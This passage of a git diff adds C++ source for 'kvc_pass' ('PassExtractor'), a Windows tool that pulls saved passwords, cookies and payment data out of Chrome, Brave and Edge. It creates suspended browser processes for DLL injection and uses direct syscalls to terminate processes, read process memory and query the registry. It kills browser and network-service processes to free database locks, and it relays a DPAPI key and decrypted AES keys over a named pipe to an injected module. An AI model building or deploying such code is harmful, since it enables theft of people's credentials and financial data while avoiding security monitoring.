m_console.Debug("Created suspended process PID: " + std::to_string(m_pid));
|
||||||
|
checkArchitecture();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Terminates target process via direct syscall
|
||||||
|
void TargetProcess::terminate()
|
||||||
|
{
|
||||||
|
if (m_hProcess)
|
||||||
|
{
|
||||||
|
m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall.");
|
||||||
|
NtTerminateProcess_syscall(m_hProcess.get(), 0);
|
||||||
|
m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validates matching x64 architecture
|
||||||
|
void TargetProcess::checkArchitecture()
|
||||||
|
{
|
||||||
|
USHORT processArch = 0, nativeMachine = 0;
|
||||||
|
auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(
|
||||||
|
GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2");
|
||||||
|
if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine))
|
||||||
|
throw std::runtime_error("Failed to determine target process architecture.");
|
||||||
|
|
||||||
|
m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch;
|
||||||
|
constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64;
|
||||||
|
|
||||||
|
if (m_arch != orchestratorArch)
|
||||||
|
throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " +
|
||||||
|
std::string(getArchName(m_arch)));
|
||||||
|
|
||||||
|
m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Returns human-readable architecture name
|
||||||
|
const char* TargetProcess::getArchName(USHORT arch) const noexcept
|
||||||
|
{
|
||||||
|
switch (arch)
|
||||||
|
{
|
||||||
|
case IMAGE_FILE_MACHINE_AMD64: return "x64";
|
||||||
|
case IMAGE_FILE_MACHINE_I386: return "x86";
|
||||||
|
default: return "Unknown";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Terminates all browser processes matching the target executable name
|
||||||
|
void KillBrowserProcesses(const Configuration& config, const Console& console)
|
||||||
|
{
|
||||||
|
console.Debug("Terminating all browser processes to release file locks...");
|
||||||
|
|
||||||
|
UniqueHandle hCurrentProc;
|
||||||
|
HANDLE nextProcHandle = nullptr;
|
||||||
|
int processes_terminated = 0;
|
||||||
|
|
||||||
|
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
|
||||||
|
0, 0, &nextProcHandle)))
|
||||||
|
{
|
||||||
|
UniqueHandle hNextProc(nextProcHandle);
|
||||||
|
hCurrentProc = std::move(hNextProc);
|
||||||
|
|
||||||
|
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||||||
|
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||||||
|
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
|
||||||
|
imageName, (ULONG)buffer.size(), NULL)) ||
|
||||||
|
imageName->Length == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
|
||||||
|
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
PROCESS_BASIC_INFORMATION pbi{};
|
||||||
|
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
|
||||||
|
&pbi, sizeof(pbi), nullptr)) ||
|
||||||
|
!pbi.PebBaseAddress)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
|
||||||
|
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||||||
|
processes_terminated++;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (processes_terminated > 0)
|
||||||
|
{
|
||||||
|
console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release.");
|
||||||
|
Sleep(2000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Terminates browser network service processes that hold database locks
|
||||||
|
void KillBrowserNetworkService(const Configuration& config, const Console& console)
|
||||||
|
{
|
||||||
|
console.Debug("Scanning for and terminating browser network services...");
|
||||||
|
|
||||||
|
UniqueHandle hCurrentProc;
|
||||||
|
HANDLE nextProcHandle = nullptr;
|
||||||
|
int processes_terminated = 0;
|
||||||
|
|
||||||
|
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
|
||||||
|
0, 0, &nextProcHandle)))
|
||||||
|
{
|
||||||
|
UniqueHandle hNextProc(nextProcHandle);
|
||||||
|
hCurrentProc = std::move(hNextProc);
|
||||||
|
|
||||||
|
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||||||
|
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||||||
|
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
|
||||||
|
imageName, (ULONG)buffer.size(), NULL)) ||
|
||||||
|
imageName->Length == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
|
||||||
|
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
PROCESS_BASIC_INFORMATION pbi{};
|
||||||
|
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
|
||||||
|
&pbi, sizeof(pbi), nullptr)) ||
|
||||||
|
!pbi.PebBaseAddress)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
PEB peb{};
|
||||||
|
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
RTL_USER_PROCESS_PARAMETERS params{};
|
||||||
|
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr)))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
|
||||||
|
if (params.CommandLine.Length > 0 &&
|
||||||
|
!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer,
|
||||||
|
cmdLine.data(), params.CommandLine.Length, nullptr)))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService"))
|
||||||
|
{
|
||||||
|
console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
|
||||||
|
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||||||
|
processes_terminated++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (processes_terminated > 0)
|
||||||
|
{
|
||||||
|
console.Debug("Termination sweep complete. Waiting for file locks to fully release.");
|
||||||
|
Sleep(1500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Checks if Windows native SQLite library is available
|
||||||
|
bool CheckWinSQLite3Available()
|
||||||
|
{
|
||||||
|
HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll");
|
||||||
|
if (hWinSQLite)
|
||||||
|
{
|
||||||
|
FreeLibrary(hWinSQLite);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
52
kvc/BrowserProcessManager.h
Normal file
52
kvc/BrowserProcessManager.h
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
// BrowserProcessManager.h - Browser process lifecycle and cleanup management
|
||||||
|
#ifndef BROWSER_PROCESS_MANAGER_H
|
||||||
|
#define BROWSER_PROCESS_MANAGER_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "OrchestratorCore.h"
|
||||||
|
#include "CommunicationLayer.h"
|
||||||
|
|
||||||
|
// RAII wrapper for Windows handle management with syscall-based cleanup
|
||||||
|
struct HandleDeleter
|
||||||
|
{
|
||||||
|
void operator()(HANDLE h) const noexcept;
|
||||||
|
};
|
||||||
|
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
|
||||||
|
|
||||||
|
// Manages target browser process lifecycle
|
||||||
|
class TargetProcess
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
TargetProcess(const Configuration& config, const Console& console);
|
||||||
|
|
||||||
|
// Creates browser process in suspended state for injection
|
||||||
|
void createSuspended();
|
||||||
|
|
||||||
|
// Terminates the target process using direct syscall
|
||||||
|
void terminate();
|
||||||
|
|
||||||
|
HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Validates architecture compatibility between orchestrator and target
|
||||||
|
void checkArchitecture();
|
||||||
|
const char* getArchName(USHORT arch) const noexcept;
|
||||||
|
|
||||||
|
const Configuration& m_config;
|
||||||
|
const Console& m_console;
|
||||||
|
DWORD m_pid = 0;
|
||||||
|
UniqueHandle m_hProcess;
|
||||||
|
UniqueHandle m_hThread;
|
||||||
|
USHORT m_arch = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Terminates all running browser processes to release database file locks
|
||||||
|
void KillBrowserProcesses(const Configuration& config, const Console& console);
|
||||||
|
|
||||||
|
// Terminates browser network service which often holds database locks
|
||||||
|
void KillBrowserNetworkService(const Configuration& config, const Console& console);
|
||||||
|
|
||||||
|
// Checks availability of Windows native SQLite library
|
||||||
|
bool CheckWinSQLite3Available();
|
||||||
|
|
||||||
|
#endif // BROWSER_PROCESS_MANAGER_H
|
||||||
463
kvc/CommunicationLayer.cpp
Normal file
463
kvc/CommunicationLayer.cpp
Normal file
@@ -0,0 +1,463 @@
|
|||||||
|
// CommunicationLayer.cpp - Console and pipe communication implementation
|
||||||
|
#include "CommunicationLayer.h"
|
||||||
|
#include "syscalls.h"
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <Rpc.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <algorithm>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Rpcrt4.lib")
|
||||||
|
|
||||||
|
constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000;
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Utility function implementations
|
||||||
|
namespace Utils
|
||||||
|
{
|
||||||
|
std::string u8string_to_string(const std::u8string& u8str) noexcept
|
||||||
|
{
|
||||||
|
return {reinterpret_cast<const char*>(u8str.c_str()), u8str.size()};
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string path_to_api_string(const fs::path& path)
|
||||||
|
{
|
||||||
|
return u8string_to_string(path.u8string());
|
||||||
|
}
|
||||||
|
|
||||||
|
fs::path GetLocalAppDataPath()
|
||||||
|
{
|
||||||
|
PWSTR path = nullptr;
|
||||||
|
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
||||||
|
{
|
||||||
|
fs::path result = path;
|
||||||
|
CoTaskMemFree(path);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
throw std::runtime_error("Failed to get Local AppData path.");
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string WStringToUtf8(std::wstring_view w_sv)
|
||||||
|
{
|
||||||
|
if (w_sv.empty()) return {};
|
||||||
|
|
||||||
|
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
|
||||||
|
nullptr, 0, nullptr, nullptr);
|
||||||
|
std::string utf8_str(size_needed, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
|
||||||
|
&utf8_str[0], size_needed, nullptr, nullptr);
|
||||||
|
return utf8_str;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string PtrToHexStr(const void* ptr) noexcept
|
||||||
|
{
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << "0x" << std::hex << reinterpret_cast<uintptr_t>(ptr);
|
||||||
|
return oss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string NtStatusToString(NTSTATUS status) noexcept
|
||||||
|
{
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << "0x" << std::hex << status;
|
||||||
|
return oss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring GenerateUniquePipeName()
|
||||||
|
{
|
||||||
|
UUID uuid;
|
||||||
|
UuidCreate(&uuid);
|
||||||
|
wchar_t* uuidStrRaw = nullptr;
|
||||||
|
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
|
||||||
|
std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw);
|
||||||
|
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
|
||||||
|
return pipeName;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string Capitalize(const std::string& str)
|
||||||
|
{
|
||||||
|
if (str.empty()) return str;
|
||||||
|
std::string result = str;
|
||||||
|
result[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(result[0])));
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Console implementation
|
||||||
|
Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
|
||||||
|
{
|
||||||
|
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
|
||||||
|
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
|
||||||
|
m_originalAttributes = consoleInfo.wAttributes;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Console::displayBanner() const
|
||||||
|
{
|
||||||
|
SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||||
|
std::cout << "PassExtractor x64 | 1.0.1 by WESMAR\n\n";
|
||||||
|
ResetColor();
|
||||||
|
}
|
||||||
|
|
||||||
|
void Console::printUsage() const
|
||||||
|
{
|
||||||
|
SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||||
|
std::wcout << L"Usage:\n"
|
||||||
|
<< L" kvc_pass.exe [options] <chrome|brave|edge|all>\n\n"
|
||||||
|
<< L"Options:\n"
|
||||||
|
<< L" --output-path|-o <path> Directory for output files (default: .\\output\\)\n"
|
||||||
|
<< L" --verbose|-v Enable verbose debug output from the orchestrator\n"
|
||||||
|
<< L" --help|-h Show this help message\n\n"
|
||||||
|
<< L"Browser targets:\n"
|
||||||
|
<< L" chrome - Extract from Google Chrome\n"
|
||||||
|
<< L" brave - Extract from Brave Browser\n"
|
||||||
|
<< L" edge - Extract from Microsoft Edge\n"
|
||||||
|
<< L" all - Extract from all installed browsers\n\n"
|
||||||
|
<< L"Required files:\n"
|
||||||
|
<< L" kvc_crypt.dll - Security module (same directory)\n"
|
||||||
|
<< L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n";
|
||||||
|
ResetColor();
|
||||||
|
}
|
||||||
|
|
||||||
|
void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||||
|
void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||||
|
void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
|
||||||
|
void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||||
|
|
||||||
|
void Console::Debug(const std::string& msg) const
|
||||||
|
{
|
||||||
|
if (m_verbose)
|
||||||
|
print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Console::Relay(const std::string& message) const
|
||||||
|
{
|
||||||
|
size_t tagStart = message.find('[');
|
||||||
|
size_t tagEnd = message.find(']', tagStart);
|
||||||
|
|
||||||
|
if (tagStart != std::string::npos && tagEnd != std::string::npos)
|
||||||
|
{
|
||||||
|
std::cout << message.substr(0, tagStart);
|
||||||
|
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
|
||||||
|
|
||||||
|
WORD color = m_originalAttributes;
|
||||||
|
if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY;
|
||||||
|
else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
|
||||||
|
SetColor(color);
|
||||||
|
std::cout << tag;
|
||||||
|
ResetColor();
|
||||||
|
std::cout << message.substr(tagEnd + 1) << std::endl;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
std::cout << message << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void Console::print(const std::string& tag, const std::string& msg, WORD color) const
|
||||||
|
{
|
||||||
|
SetColor(color);
|
||||||
|
std::cout << tag;
|
||||||
|
ResetColor();
|
||||||
|
std::cout << " " << msg << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); }
|
||||||
|
void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
|
||||||
|
|
||||||
|
// PipeCommunicator implementation
|
||||||
|
PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console)
|
||||||
|
: m_pipeName(pipeName), m_console(console) {}
|
||||||
|
|
||||||
|
void PipeCommunicator::create()
|
||||||
|
{
|
||||||
|
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
|
||||||
|
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||||
|
1, 4096, 4096, 0, nullptr));
|
||||||
|
if (!m_pipeHandle)
|
||||||
|
throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError()));
|
||||||
|
|
||||||
|
m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName));
|
||||||
|
}
|
||||||
|
|
||||||
|
void PipeCommunicator::waitForClient()
|
||||||
|
{
|
||||||
|
m_console.Debug("Waiting for security module to connect to named pipe.");
|
||||||
|
if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED)
|
||||||
|
throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError()));
|
||||||
|
|
||||||
|
m_console.Debug("Security module connected to named pipe.");
|
||||||
|
}
|
||||||
|
|
||||||
|
void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey)
|
||||||
|
{
|
||||||
|
writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE");
|
||||||
|
writeMessage(Utils::path_to_api_string(outputPath));
|
||||||
|
|
||||||
|
// Send DPAPI key as hex string (or "NONE" if empty)
|
||||||
|
if (!edgeDpapiKey.empty())
|
||||||
|
{
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << std::hex << std::setfill('0');
|
||||||
|
for (uint8_t byte : edgeDpapiKey)
|
||||||
|
oss << std::setw(2) << static_cast<int>(byte);
|
||||||
|
writeMessage("DPAPI_KEY:" + oss.str());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
writeMessage("DPAPI_KEY:NONE");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void PipeCommunicator::relayMessages()
|
||||||
|
{
|
||||||
|
m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")");
|
||||||
|
|
||||||
|
if (m_console.m_verbose)
|
||||||
|
std::cout << std::endl;
|
||||||
|
|
||||||
|
const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||||
|
DWORD startTime = GetTickCount();
|
||||||
|
std::string accumulatedData;
|
||||||
|
char buffer[4096];
|
||||||
|
bool completed = false;
|
||||||
|
|
||||||
|
while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS))
|
||||||
|
{
|
||||||
|
DWORD bytesAvailable = 0;
|
||||||
|
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
|
||||||
|
{
|
||||||
|
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||||
|
break;
|
||||||
|
m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError()));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bytesAvailable == 0)
|
||||||
|
{
|
||||||
|
Sleep(100);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD bytesRead = 0;
|
||||||
|
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||||
|
{
|
||||||
|
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||||
|
break;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
accumulatedData.append(buffer, bytesRead);
|
||||||
|
|
||||||
|
size_t messageStart = 0;
|
||||||
|
size_t nullPos;
|
||||||
|
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
|
||||||
|
{
|
||||||
|
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
|
||||||
|
messageStart = nullPos + 1;
|
||||||
|
|
||||||
|
if (message == moduleCompletionSignal)
|
||||||
|
{
|
||||||
|
m_console.Debug("Security module completion signal received.");
|
||||||
|
completed = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
parseExtractionMessage(message);
|
||||||
|
|
||||||
|
if (!message.empty() && m_console.m_verbose)
|
||||||
|
m_console.Relay(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (completed)
|
||||||
|
break;
|
||||||
|
|
||||||
|
accumulatedData.erase(0, messageStart);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_console.m_verbose)
|
||||||
|
std::cout << std::endl;
|
||||||
|
|
||||||
|
m_console.Debug("Security module signaled completion or pipe interaction ended.");
|
||||||
|
}
|
||||||
|
|
||||||
|
void PipeCommunicator::writeMessage(const std::string& msg)
|
||||||
|
{
|
||||||
|
DWORD bytesWritten = 0;
|
||||||
|
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
|
||||||
|
bytesWritten != (msg.length() + 1))
|
||||||
|
throw std::runtime_error("WriteFile to pipe failed for message: " + msg);
|
||||||
|
|
||||||
|
m_console.Debug("Sent message to pipe: " + msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
void PipeCommunicator::parseExtractionMessage(const std::string& message)
|
||||||
|
{
|
||||||
|
auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int
|
||||||
|
{
|
||||||
|
size_t start = message.find(prefix);
|
||||||
|
if (start == std::string::npos) return 0;
|
||||||
|
start += prefix.length();
|
||||||
|
size_t end = message.find(suffix, start);
|
||||||
|
if (end == std::string::npos) return 0;
|
||||||
|
|
||||||
|
try {
|
||||||
|
return std::stoi(message.substr(start, end - start));
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos)
|
||||||
|
m_stats.profileCount = extractNumber("Found ", " profile(s)");
|
||||||
|
|
||||||
|
if (message.find("Decrypted AES Key: ") != std::string::npos)
|
||||||
|
m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19);
|
||||||
|
|
||||||
|
if (message.find(" cookies extracted to ") != std::string::npos)
|
||||||
|
m_stats.totalCookies += extractNumber("[*] ", " cookies");
|
||||||
|
|
||||||
|
if (message.find(" passwords extracted to ") != std::string::npos)
|
||||||
|
m_stats.totalPasswords += extractNumber("[*] ", " passwords");
|
||||||
|
|
||||||
|
if (message.find(" payments extracted to ") != std::string::npos)
|
||||||
|
m_stats.totalPayments += extractNumber("[*] ", " payments");
|
||||||
|
}
|
||||||
|
|
||||||
|
// BrowserPathResolver implementation
|
||||||
|
BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {}
|
||||||
|
|
||||||
|
std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName)
|
||||||
|
{
|
||||||
|
m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName));
|
||||||
|
|
||||||
|
const std::wstring registryPaths[] = {
|
||||||
|
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName,
|
||||||
|
L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName
|
||||||
|
};
|
||||||
|
|
||||||
|
for (const auto& regPath : registryPaths)
|
||||||
|
{
|
||||||
|
std::wstring path = queryRegistryDefaultValue(regPath);
|
||||||
|
if (!path.empty() && fs::exists(path))
|
||||||
|
{
|
||||||
|
m_console.Debug("Found at: " + Utils::WStringToUtf8(path));
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
m_console.Debug("Not found in Registry");
|
||||||
|
return L"";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::pair<std::wstring, std::wstring>> BrowserPathResolver::findAllInstalledBrowsers()
|
||||||
|
{
|
||||||
|
std::vector<std::pair<std::wstring, std::wstring>> installedBrowsers;
|
||||||
|
|
||||||
|
const std::pair<std::wstring, std::wstring> supportedBrowsers[] = {
|
||||||
|
{L"chrome", L"chrome.exe"},
|
||||||
|
{L"edge", L"msedge.exe"},
|
||||||
|
{L"brave", L"brave.exe"}
|
||||||
|
};
|
||||||
|
|
||||||
|
m_console.Debug("Enumerating installed browsers...");
|
||||||
|
|
||||||
|
for (const auto& [browserType, exeName] : supportedBrowsers)
|
||||||
|
{
|
||||||
|
std::wstring path = resolve(exeName);
|
||||||
|
if (!path.empty())
|
||||||
|
{
|
||||||
|
installedBrowsers.push_back({browserType, path});
|
||||||
|
m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) +
|
||||||
|
" at: " + Utils::WStringToUtf8(path));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (installedBrowsers.empty())
|
||||||
|
m_console.Warn("No supported browsers found installed on this system");
|
||||||
|
else
|
||||||
|
m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process");
|
||||||
|
|
||||||
|
return installedBrowsers;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath)
|
||||||
|
{
|
||||||
|
std::vector<wchar_t> pathBuffer(keyPath.begin(), keyPath.end());
|
||||||
|
pathBuffer.push_back(L'\0');
|
||||||
|
|
||||||
|
UNICODE_STRING_SYSCALLS keyName;
|
||||||
|
keyName.Buffer = pathBuffer.data();
|
||||||
|
keyName.Length = static_cast<USHORT>(keyPath.length() * sizeof(wchar_t));
|
||||||
|
keyName.MaximumLength = static_cast<USHORT>(pathBuffer.size() * sizeof(wchar_t));
|
||||||
|
|
||||||
|
OBJECT_ATTRIBUTES objAttr;
|
||||||
|
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
|
||||||
|
|
||||||
|
HANDLE hKey = nullptr;
|
||||||
|
NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND
|
||||||
|
m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status));
|
||||||
|
return L"";
|
||||||
|
}
|
||||||
|
|
||||||
|
// RAII guard for key handle
|
||||||
|
struct KeyGuard {
|
||||||
|
HANDLE h;
|
||||||
|
~KeyGuard() { if (h) NtClose_syscall(h); }
|
||||||
|
} keyGuard{hKey};
|
||||||
|
|
||||||
|
UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr};
|
||||||
|
ULONG bufferSize = 4096;
|
||||||
|
std::vector<BYTE> buffer(bufferSize);
|
||||||
|
ULONG resultLength = 0;
|
||||||
|
|
||||||
|
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
|
||||||
|
buffer.data(), bufferSize, &resultLength);
|
||||||
|
|
||||||
|
if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW)
|
||||||
|
{
|
||||||
|
